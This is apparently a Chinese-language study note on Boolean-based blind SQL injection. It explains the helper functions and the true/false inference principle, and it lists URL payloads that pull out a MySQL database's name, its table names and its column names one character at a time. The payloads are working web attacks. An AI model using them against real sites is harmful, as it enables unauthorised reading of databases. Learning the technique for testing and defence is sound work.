布尔盲注常用的函数 length()? 返回字符串的长度 substr()? 截取字符串 substr(a,b,c) 第一个是截取的字符串 ,第二个是截取的位置 ,第三个是截取的长度 ascii()?? 返回字符串的ASCII码 limit a,b? 第一个字符代表查询内容的位置,第二个代表长度
布尔盲注原理: 通过网页的回显来判断读错,可以利用and < > = 来进行判断 sql语句: SELECT * FROM users WHERE id='$id' LIMIT 0,1
爆数据库 (1)爆数据库长度 ?id=1' and length(database())>10? 若数据库名称长度大于10,则返回true,否则flase 来进行判断 (2)爆数据库名称 ?id=1' and ascii(substr(database(),1,1))>number
爆表名 (1)爆表长度 ?id=1' and length((select table_name from information_schema.tables? where table_schema="数据库名" limit 0,1))>number (2)爆表名 ?id=1' and ascii(substr((select table_name from information_schema.tables? where table_schema="数据库名" limit 0,1),1,1))>number
爆字段名 (1)爆长度 ?id=1' and length((select column_name from information_schema.columns where table_name="表名" limit 0,1 ))>number (2) ?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="表名" limit 0,1 ),1,1))>number
|